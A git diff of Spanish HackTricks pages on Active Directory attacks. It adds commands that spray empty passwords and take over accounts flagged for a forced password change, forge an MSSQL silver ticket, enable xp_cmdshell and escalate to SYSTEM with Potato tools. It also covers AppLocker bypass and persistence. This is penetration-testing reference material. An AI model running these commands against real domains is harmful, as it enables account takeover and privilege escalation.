diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md
index b5efeb78c..7754f9892 100644
--- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md
+++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md
@@ -2,6 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**Consulta el increíble post de:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
+**Consulta el increíble post en:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md
index a29ab9f5d..813e11fa6 100644
--- a/src/windows-hardening/active-directory-methodology/password-spraying.md
+++ b/src/windows-hardening/active-directory-methodology/password-spraying.md
@@ -5,16 +5,16 @@
 
 ## **Password Spraying**
 
-Una vez que hayas encontrado varios **valid usernames** puedes probar las **common passwords** (ten en cuenta la password policy del entorno) con cada uno de los usuarios descubiertos.\
-Por **default** la **minimum** **password** **length** es **7**.
+Una vez que hayas encontrado varios **nombres de usuario válidos** puedes probar las **contraseñas más comunes** (ten en cuenta la **política de contraseñas** del entorno) con cada uno de los usuarios descubiertos.\
+Por **defecto** la **longitud** **mínima** **de** **contraseña** es **7**.
 
-Las listas de common usernames también pueden ser útiles: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
+Listas de nombres de usuario comunes también pueden ser útiles: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
 
-Ten en cuenta que **could lockout some accounts if you try several wrong passwords** (por defecto más de 10).
+Ten en cuenta que **podrías bloquear algunas cuentas si intentas varias contraseñas incorrectas** (por defecto más de 10).
 
-### Obtener password policy
+### Obtener la política de contraseñas
 
-Si tienes user credentials o un shell como domain user puedes **get the password policy with**:
+Si tienes credenciales de usuario o un shell como usuario de dominio puedes **obtener la política de contraseñas con**:
 ```bash
 # From Linux
 crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@@ -31,7 +31,7 @@ net accounts
 
 (Get-DomainPolicy)."SystemAccess" #From powerview
 ```
-### Explotación desde Linux (o desde cualquier sistema)
+### Explotación desde Linux (o todos)
 
 - Usando **crackmapexec:**
 ```bash
@@ -47,11 +47,11 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
 # Brute-Force
 ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
 ```
-- [**spray**](https://github.com/Greenwolf/Spray) _**(puedes indicar el número de intentos para evitar bloqueos):**_
+- [**spray**](https://github.com/Greenwolf/Spray) _**(puedes indicar el número de intentos para evitar lockouts):**_
 ```bash
 spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
 ```
-- Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NO RECOMENDADO, A VECES NO FUNCIONA
+- Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NO RECOMENDADO A VECES NO FUNCIONA
 ```bash
 python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
 python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
@@ -69,7 +69,7 @@ done
 ```
 #### Desde Windows
 
-- Con [Rubeus](https://github.com/Zer1t0/Rubeus) (versión con el módulo brute):
+- Con la versión de [Rubeus](https://github.com/Zer1t0/Rubeus) con brute module:
 ```bash
 # with a list of users
 .\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@@ -77,7 +77,7 @@ done
 # check passwords for all users in current domain
 .\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
 ```
-- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Por defecto puede generar usuarios del dominio y obtendrá la política de contraseñas del dominio, limitando los intentos según ésta):
+- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Puede generar usuarios del dominio por defecto y obtendrá la política de contraseñas del dominio y limitará los intentos según ésta):
 ```bash
 Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
 ```
@@ -85,23 +85,55 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
 ```
 Invoke-SprayEmptyPassword
 ```
+### Identificar y tomar control de cuentas "Password must change at next logon" (SAMR)
+
+Una técnica de bajo ruido consiste en spray a benign/empty password y capturar cuentas que devuelven STATUS_PASSWORD_MUST_CHANGE; esto indica que la contraseña fue forzosamente expirada y puede cambiarse sin conocer la anterior.
+
+Workflow:
+- Enumerar usuarios (RID brute via SAMR) para construir la lista de objetivos:
+
+{{#ref}}
+../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
+{{#endref}}
+```bash
+# NetExec (null/guest) + RID brute to harvest users
+netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
+```
+- Spray una password vacía y continúa con los aciertos para capturar cuentas que deben cambiarla en el próximo inicio de sesión:
+```bash
+# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
+netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
+```
+- Para cada acierto, cambia la contraseña vía SAMR con el módulo de NetExec (no se necesita la contraseña antigua cuando "must change" está activado):
+```bash
+# Strong complexity to satisfy policy
+env NEWPASS='P@ssw0rd!2025#' ; \
+netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
+
+# Validate and retrieve domain password policy with the new creds
+netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
+```
+Notas operativas:
+- Asegúrate de que el reloj de tu host esté sincronizado con el DC antes de operaciones basadas en Kerberos: `sudo ntpdate <dc_fqdn>`.
+- Un [+] sin (Pwn3d!) en algunos módulos (p. ej., RDP/WinRM) significa que los creds son válidos pero la cuenta carece de derechos de inicio de sesión interactivo.
+
 ## Brute Force
 ```bash
 legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
 ```
-### Kerberos pre-auth spraying con direccionamiento LDAP y limitación consciente de PSO (SpearSpray)
+### Kerberos pre-auth spraying con LDAP targeting y PSO-aware throttling (SpearSpray)
 
-El spraying basado en Kerberos pre-auth reduce el ruido frente a intentos de bind SMB/NTLM/LDAP y se alinea mejor con las políticas de bloqueo de AD. SpearSpray combina direccionamiento impulsado por LDAP, un motor de patrones y conocimiento de políticas (política de dominio + PSOs + buffer de badPwdCount) para realizar spraying de forma precisa y segura. También puede etiquetar principals comprometidos en Neo4j para el pathing de BloodHound.
+Kerberos pre-auth–based spraying reduce el ruido frente a los intentos de bind SMB/NTLM/LDAP y se alinea mejor con las políticas de lockout de AD. SpearSpray acopla LDAP-driven targeting, un motor de patrones y awareness de políticas (domain policy + PSOs + buffer de badPwdCount) para sprayear de forma precisa y segura. También puede etiquetar principals comprometidos en Neo4j para BloodHound pathing.
 
-Ideas clave:
-- Descubrimiento de usuarios vía LDAP con paginación y soporte LDAPS, opcionalmente usando filtros LDAP personalizados.
-- Filtrado consciente de la política de bloqueo de dominio + PSO para dejar un buffer de intentos configurable (umbral) y evitar bloquear usuarios.
-- Validación Kerberos pre-auth usando bindings gssapi rápidos (genera 4768/4771 en DCs en lugar de 4625).
-- Generación de contraseñas por patrón, por usuario, usando variables como nombres y valores temporales derivados del pwdLastSet de cada usuario.
-- Control de throughput con threads, jitter y max requests por segundo.
+Key ideas:
+- LDAP user discovery con paginación y soporte LDAPS, opcionalmente usando filtros LDAP personalizados.
+- Domain lockout policy + PSO-aware filtering para dejar un buffer configurable de intentos (threshold) y evitar bloquear usuarios.
+- Kerberos pre-auth validation utilizando bindings gssapi rápidos (genera 4768/4771 en DCs en lugar de 4625).
+- Generación de contraseñas por usuario basada en patrones, usando variables como nombres y valores temporales derivados del pwdLastSet de cada usuario.
+- Control de throughput con threads, jitter y max requests per second.
 - Integración opcional con Neo4j para marcar usuarios comprometidos para BloodHound.
 
-Uso básico y descubrimiento:
+Basic usage and discovery:
 ```bash
 # List available pattern variables
 spearspray -l
@@ -142,17 +174,17 @@ Descripción general del sistema de patrones (patterns.txt):
 {samaccountname}
 {extra}{separator}{year}{suffix}
 ```
-Available variables include:
+Variables disponibles:
 - {name}, {samaccountname}
-- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
-- Composition helpers and org token: {separator}, {suffix}, {extra}
+- Temporales de pwdLastSet (o whenCreated) de cada usuario: {year}, {short_year}, {month_number}, {month_en}, {season_en}
+- Auxiliares de composición y token de la org: {separator}, {suffix}, {extra}
 
-Operational notes:
-- Prioriza consultar el PDC-emulator con -dc para leer el badPwdCount y la información relacionada con políticas más autorizada.
-- Los reinicios de badPwdCount se disparan en el siguiente intento después de la ventana de observación; usa umbrales y temporización para mantenerte seguro.
-- Los intentos de pre-auth de Kerberos aparecen como 4768/4771 en la telemetría del DC; usa jitter y rate-limiting para pasar desapercibido.
+Notas operativas:
+- Favorece consultar el PDC-emulator con -dc para leer el badPwdCount más autoritativo y la información relacionada con políticas.
+- Los resets de badPwdCount se disparan en el siguiente intento después de la ventana de observación; usa el umbral y la sincronización para mantenerte seguro.
+- Los intentos de pre-auth de Kerberos aparecen como 4768/4771 en la telemetría del DC; usa jitter y rate-limiting para mimetizarte.
 
-> Consejo: El tamaño de página LDAP por defecto de SpearSpray es 200; ajusta con -lps según sea necesario.
+> Consejo: SpearSpray’s default LDAP page size is 200; ajusta con -lps según sea necesario.
 
 ## Outlook Web Access
 
@@ -160,11 +192,11 @@ Hay múltiples herramientas para p**assword spraying outlook**.
 
 - Con [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
 - con [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
-- Con [Ruler](https://github.com/sensepost/ruler) (fiable!)
+- Con [Ruler](https://github.com/sensepost/ruler) (¡confiable!)
 - Con [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
 - Con [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
 
-Para usar cualquiera de estas herramientas, necesitas una lista de usuarios y una contraseña / una pequeña lista de contraseñas para password spraying.
+Para usar cualquiera de estas herramientas necesitas una lista de usuarios y una password / una pequeña lista de passwords para spray.
 ```bash
 ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
 [x] Failed: larsson:Summer2020
@@ -194,6 +226,7 @@ Para usar cualquiera de estas herramientas, necesitas una lista de usuarios y un
 - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
 - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
 - [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
+- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
 
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md
index 6465604b3..262543fe4 100644
--- a/src/windows-hardening/active-directory-methodology/silver-ticket.md
+++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md
@@ -6,15 +6,15 @@
 
 ## Silver ticket
 
-El ataque de **Silver Ticket** implica la explotación de tickets de servicio en entornos de Active Directory (AD). Este método se basa en **adquirir el hash NTLM de una cuenta de servicio**, como una cuenta de computadora, para falsificar un ticket de Servicio de Concesión de Tickets (TGS). Con este ticket falsificado, un atacante puede acceder a servicios específicos en la red, **suplantando a cualquier usuario**, generalmente con el objetivo de obtener privilegios administrativos. Se enfatiza que usar claves AES para falsificar tickets es más seguro y menos detectable.
+El ataque **Silver Ticket** implica la explotación de tickets de servicio en entornos de Active Directory (AD). Este método se basa en **adquirir el NTLM hash de una cuenta de servicio**, como una cuenta de equipo, para forjar un Ticket Granting Service (TGS) ticket. Con este ticket forjado, un atacante puede acceder a servicios específicos en la red, **hacerse pasar por cualquier usuario**, normalmente buscando privilegios administrativos. Se enfatiza que usar AES keys para forjar tickets es más seguro y menos detectable.
 
 > [!WARNING]
-> Los Silver Tickets son menos detectables que los Golden Tickets porque solo requieren el **hash de la cuenta de servicio**, no la cuenta krbtgt. Sin embargo, están limitados al servicio específico que atacan. Además, solo robar la contraseña de un usuario.
-Además, si comprometes la **contraseña de una cuenta con un SPN**, puedes usar esa contraseña para crear un Silver Ticket suplantando a cualquier usuario para ese servicio.
+> Los Silver Tickets son menos detectables que los Golden Tickets porque solo requieren el **hash de la cuenta de servicio**, no la cuenta krbtgt. Sin embargo, están limitados al servicio específico al que apuntan. Además, basta con robar la contraseña de un usuario.
+> Además, si comprometes la **contraseña de una cuenta con un SPN** puedes usar esa contraseña para crear un Silver Ticket haciéndote pasar por cualquier usuario ante ese servicio.
 
 Para la creación de tickets, se emplean diferentes herramientas según el sistema operativo:
 
-### On Linux
+### En Linux
 ```bash
 python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
 export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
@@ -37,42 +37,74 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
 # Obtain a shell
 .\PsExec.exe -accepteula \\<TARGET> cmd
 ```
-El servicio CIFS se destaca como un objetivo común para acceder al sistema de archivos de la víctima, pero otros servicios como HOST y RPCSS también pueden ser explotados para tareas y consultas WMI.
+El servicio CIFS se destaca como un objetivo común para acceder al sistema de archivos de la víctima, pero otros servicios como HOST y RPCSS también pueden explotarse para tareas y consultas WMI.
 
-## Servicios Disponibles
+### Ejemplo: servicio MSSQL (MSSQLSvc) + Potato a SYSTEM
 
-| Tipo de Servicio                           | Tickets Silver del Servicio                                               |
-| ------------------------------------------ | ------------------------------------------------------------------------ |
-| WMI                                        | <p>HOST</p><p>RPCSS</p>                                                |
-| PowerShell Remoting                        | <p>HOST</p><p>HTTP</p><p>Dependiendo del SO también:</p><p>WSMAN</p><p>RPCSS</p> |
-| WinRM                                      | <p>HOST</p><p>HTTP</p><p>En algunas ocasiones solo puedes pedir: WINRM</p> |
-| Tareas Programadas                         | HOST                                                                   |
-| Compartición de Archivos de Windows, también psexec | CIFS                                                                   |
-| Operaciones LDAP, incluido DCSync         | LDAP                                                                   |
-| Herramientas de Administración Remota de Windows | <p>RPCSS</p><p>LDAP</p><p>CIFS</p>                                   |
-| Tickets Dorados                            | krbtgt                                                                 |
+Si tienes el hash NTLM (o la clave AES) de una cuenta de servicio SQL (p. ej., sqlsvc) puedes forjar un TGS para el SPN MSSQL y suplantar a cualquier usuario ante el servicio SQL. Desde ahí, habilita xp_cmdshell para ejecutar comandos como la cuenta del servicio SQL. Si ese token tiene SeImpersonatePrivilege, encadena un Potato para elevarte a SYSTEM.
+```bash
+# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
+python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
+-spn MSSQLSvc/<host.fqdn>:1433 administrator
+export KRB5CCNAME=$PWD/administrator.ccache
 
-Usando **Rubeus** puedes **pedir todos** estos tickets usando el parámetro:
+# Connect to SQL using Kerberos and run commands via xp_cmdshell
+impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
+-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
+```
+- Si el contexto resultante posee SeImpersonatePrivilege (a menudo cierto para cuentas de servicio), usa una variante de Potato para obtener SYSTEM:
+```bash
+# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
+PrintSpoofer.exe -c "cmd /c whoami"
+# or
+GodPotato -cmd "cmd /c whoami"
+```
+Más detalles sobre abusar de MSSQL y habilitar xp_cmdshell:
+
+{{#ref}}
+abusing-ad-mssql.md
+{{#endref}}
+
+Resumen de técnicas Potato:
+
+{{#ref}}
+../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
+{{#endref}}
+
+## Servicios disponibles
+
+| Tipo de Servicio                           | Service Silver Tickets                                                     |
+| ------------------------------------------ | -------------------------------------------------------------------------- |
+| WMI                                        | <p>HOST</p><p>RPCSS</p>                                                    |
+| PowerShell Remoting                        | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
+| WinRM                                      | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
+| Scheduled Tasks                            | HOST                                                                       |
+| Windows File Share, also psexec            | CIFS                                                                       |
+| LDAP operations, included DCSync           | LDAP                                                                       |
+| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p>                                         |
+| Golden Tickets                             | krbtgt                                                                     |
+
+Usando **Rubeus** puedes **solicitar todos** estos tickets usando el parámetro:
 
 - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
 
-### IDs de Evento de Tickets Silver
+### IDs de eventos de Silver tickets
 
-- 4624: Inicio de Sesión de Cuenta
-- 4634: Cierre de Sesión de Cuenta
-- 4672: Inicio de Sesión de Administrador
+- 4624: Inicio de sesión de cuenta
+- 4634: Cierre de sesión de cuenta
+- 4672: Inicio de sesión de administrador
 
 ## Persistencia
 
-Para evitar que las máquinas roten su contraseña cada 30 días, establece `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` o podrías establecer `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` a un valor mayor de 30 días para indicar el período de rotación cuando la contraseña de la máquina debe ser rotada.
+Para evitar que las máquinas roten su contraseña cada 30 días, establece `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` o puedes establecer `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` a un valor mayor que 30days para indicar el periodo de rotación cuando la contraseña de las máquinas debería ser rotada.
 
-## Abusando de los tickets de Servicio
+## Abusar de Service tickets
 
-En los siguientes ejemplos imaginemos que el ticket se recupera suplantando la cuenta de administrador.
+En los siguientes ejemplos imaginemos que el ticket se obtuvo suplantando la cuenta del administrador.
 
 ### CIFS
 
-Con este ticket podrás acceder a la carpeta `C$` y `ADMIN$` a través de **SMB** (si están expuestas) y copiar archivos a una parte del sistema de archivos remoto solo haciendo algo como:
+Con este ticket podrás acceder a las carpetas `C$` y `ADMIN$` vía **SMB** (si están expuestas) y copiar archivos a una parte del sistema de archivos remoto simplemente haciendo algo como:
 ```bash
 dir \\vulnerable.computer\C$
 dir \\vulnerable.computer\ADMIN$
@@ -86,7 +118,7 @@ También podrás obtener un shell dentro del host o ejecutar comandos arbitrario
 
 ### HOST
 
-Con este permiso puedes generar tareas programadas en computadoras remotas y ejecutar comandos arbitrarios:
+Con este permiso puedes generar tareas programadas en equipos remotos y ejecutar comandos arbitrarios:
 ```bash
 #Check you have permissions to use schtasks over a remote server
 schtasks /S some.vuln.pc
@@ -112,24 +144,26 @@ wmic remote.computer.local list full /format:list
 ```
 Encuentra **más información sobre wmiexec** en la siguiente página:
 
+
 {{#ref}}
 ../lateral-movement/wmiexec.md
 {{#endref}}
 
 ### HOST + WSMAN (WINRM)
 
-Con acceso winrm a una computadora puedes **acceder a ella** e incluso obtener un PowerShell:
+Con acceso winrm a un equipo puedes **acceder a él** e incluso obtener un PowerShell:
 ```bash
 New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
 ```
-Consulta la siguiente página para aprender **más formas de conectarse con un host remoto usando winrm**:
+Consulta la siguiente página para aprender **más formas de conectarte a un host remoto usando winrm**:
+
 
 {{#ref}}
 ../lateral-movement/winrm.md
 {{#endref}}
 
 > [!WARNING]
-> Ten en cuenta que **winrm debe estar activo y escuchando** en la computadora remota para acceder a ella.
+> Ten en cuenta que **winrm must be active and listening** en el equipo remoto para acceder a él.
 
 ### LDAP
 
@@ -150,6 +184,7 @@ dcsync.md
 - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
 - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
 - [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
+- [HTB Sendai – 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
 
 
 
diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
index acc3d8035..56bb5bee3 100644
--- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
+++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
@@ -1,17 +1,17 @@
-# Controles de Seguridad de Windows
+# Controles de seguridad de Windows
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Política de AppLocker
 
-Una lista blanca de aplicaciones es una lista de aplicaciones de software o ejecutables aprobados que se permiten en un sistema. El objetivo es proteger el entorno de malware dañino y software no aprobado que no se alinea con las necesidades comerciales específicas de una organización.
+Una lista blanca de aplicaciones es una lista de aplicaciones de software o ejecutables aprobados que están permitidos para estar presentes y ejecutarse en un sistema. El objetivo es proteger el entorno contra malware dañino y software no aprobado que no se alinea con las necesidades comerciales específicas de una organización.
 
-[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) es la **solución de lista blanca de aplicaciones** de Microsoft y da a los administradores del sistema control sobre **qué aplicaciones y archivos pueden ejecutar los usuarios**. Proporciona **control granular** sobre ejecutables, scripts, archivos de instalación de Windows, DLLs, aplicaciones empaquetadas y instaladores de aplicaciones empaquetadas.\
-Es común que las organizaciones **bloqueen cmd.exe y PowerShell.exe** y el acceso de escritura a ciertos directorios, **pero todo esto se puede eludir**.
+[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) es la **solución de lista blanca de aplicaciones** de Microsoft y da a los administradores del sistema control sobre **qué aplicaciones y archivos pueden ejecutar los usuarios**. Proporciona **control granular** sobre ejecutables, scripts, archivos de instalación de Windows, DLLs, aplicaciones empaquetadas e instaladores empaquetados de aplicaciones.\
+Es común que las organizaciones **bloqueen cmd.exe y PowerShell.exe** y el acceso de escritura a ciertos directorios, **pero todo esto puede ser eludido**.
 
-### Verificar
+### Comprobar
 
-Verifique qué archivos/extensiones están en la lista negra/lista blanca:
+Compruebe qué archivos/extensiones están en la lista negra/lista blanca:
 ```bash
 Get-ApplockerPolicy -Effective -xml
 
@@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
 $a = Get-ApplockerPolicy -effective
 $a.rulecollections
 ```
-Esta ruta del registro contiene las configuraciones y políticas aplicadas por AppLocker, proporcionando una forma de revisar el conjunto actual de reglas impuestas en el sistema:
+Esta ruta del registro contiene las configuraciones y políticas aplicadas por AppLocker, proporcionando una forma de revisar el conjunto actual de reglas aplicadas en el sistema:
 
 - `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
 
 ### Bypass
 
-- **Carpetas escribibles** útiles para eludir la política de AppLocker: Si AppLocker permite ejecutar cualquier cosa dentro de `C:\Windows\System32` o `C:\Windows`, hay **carpetas escribibles** que puedes usar para **eludir esto**.
+- Útiles **Writable folders** para bypass de la política de AppLocker: si AppLocker permite ejecutar cualquier cosa dentro de `C:\Windows\System32` o `C:\Windows`, hay **writable folders** que puedes usar para **bypass esto**.
 ```
 C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
 C:\Windows\System32\spool\drivers\color
 C:\Windows\Tasks
 C:\windows\tracing
 ```
-- Los binarios comúnmente **confiables** [**"LOLBAS's"**](https://lolbas-project.github.io/) también pueden ser útiles para eludir AppLocker.
+- Comúnmente, binarios [**"LOLBAS's"**](https://lolbas-project.github.io/) **confiables** pueden ser también útiles para eludir AppLocker.
 - **Reglas mal escritas también podrían ser eludidas**
 - Por ejemplo, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, puedes crear una **carpeta llamada `allowed`** en cualquier lugar y será permitida.
-- Las organizaciones también suelen centrarse en **bloquear el ejecutable `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, pero se olvidan de las **otras** [**ubicaciones de ejecutables de PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) como `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`.
-- **La imposición de DLL rara vez está habilitada** debido a la carga adicional que puede poner en un sistema y la cantidad de pruebas requeridas para asegurar que nada se rompa. Así que usar **DLLs como puertas traseras ayudará a eludir AppLocker**.
-- Puedes usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **ejecutar código de Powershell** en cualquier proceso y eludir AppLocker. Para más información consulta: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
+- Las organizaciones también suelen centrarse en **bloquear el ejecutable `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, pero se olvidan de las **otras** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) como `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`.
+- **DLL enforcement very rarely enabled** debido a la carga adicional que puede imponer al sistema y la cantidad de pruebas necesarias para asegurar que nada falle. Por eso usar **DLLs as backdoors will help bypassing AppLocker**.
+- Puedes usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **execute Powershell** code en cualquier proceso y bypass AppLocker. Para más información consulta: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
 
-## Almacenamiento de Credenciales
+## Almacenamiento de credenciales
 
-### Administrador de Cuentas de Seguridad (SAM)
+### Security Accounts Manager (SAM)
 
-Las credenciales locales están presentes en este archivo, las contraseñas están hashadas.
+Las credenciales locales están presentes en este archivo; las contraseñas están almacenadas como hashes.
 
-### Autoridad de Seguridad Local (LSA) - LSASS
+### Local Security Authority (LSA) - LSASS
 
-Las **credenciales** (hashadas) están **guardadas** en la **memoria** de este subsistema por razones de inicio de sesión único.\
+Las **credenciales** (hashed) se **guardan** en la **memoria** de este subsistema por razones de Single Sign-On.\
 **LSA** administra la **política de seguridad** local (política de contraseñas, permisos de usuarios...), **autenticación**, **tokens de acceso**...\
-LSA será quien **verifique** las credenciales proporcionadas dentro del archivo **SAM** (para un inicio de sesión local) y **hable** con el **controlador de dominio** para autenticar a un usuario de dominio.
+LSA será quien **verifique** las credenciales proporcionadas dentro del archivo **SAM** (para un inicio de sesión local) y **se comunique** con el **controlador de dominio** para autenticar a un usuario de dominio.
 
-Las **credenciales** están **guardadas** dentro del **proceso LSASS**: tickets de Kerberos, hashes NT y LM, contraseñas fácilmente descifradas.
+Las **credenciales** se **guardan** dentro del **proceso LSASS**: tickets Kerberos, hashes NT y LM, contraseñas que pueden ser fácilmente descifradas.
 
 ### Secretos de LSA
 
 LSA podría guardar en disco algunas credenciales:
 
-- Contraseña de la cuenta de computadora del Active Directory (controlador de dominio inaccesible).
-- Contraseñas de las cuentas de servicios de Windows.
-- Contraseñas para tareas programadas.
-- Más (contraseña de aplicaciones de IIS...)
+- Contraseña de la cuenta del equipo de Active Directory (controlador de dominio inaccesible).
+- Contraseñas de las cuentas de servicios de Windows
+- Contraseñas de tareas programadas
+- Más (contraseña de aplicaciones IIS...)
 
 ### NTDS.dit
 
-Es la base de datos del Active Directory. Solo está presente en Controladores de Dominio.
+Es la base de datos de Active Directory. Solo está presente en los controladores de dominio.
 
 ## Defender
 
-[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) es un antivirus que está disponible en Windows 10 y Windows 11, y en versiones de Windows Server. **Bloquea** herramientas comunes de pentesting como **`WinPEAS`**. Sin embargo, hay formas de **eludir estas protecciones**.
+[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) es un antivirus disponible en Windows 10 y Windows 11, y en versiones de Windows Server. Bloquea herramientas comunes de pentesting como **`WinPEAS`**. Sin embargo, existen formas de eludir estas protecciones.
 
 ### Verificar
 
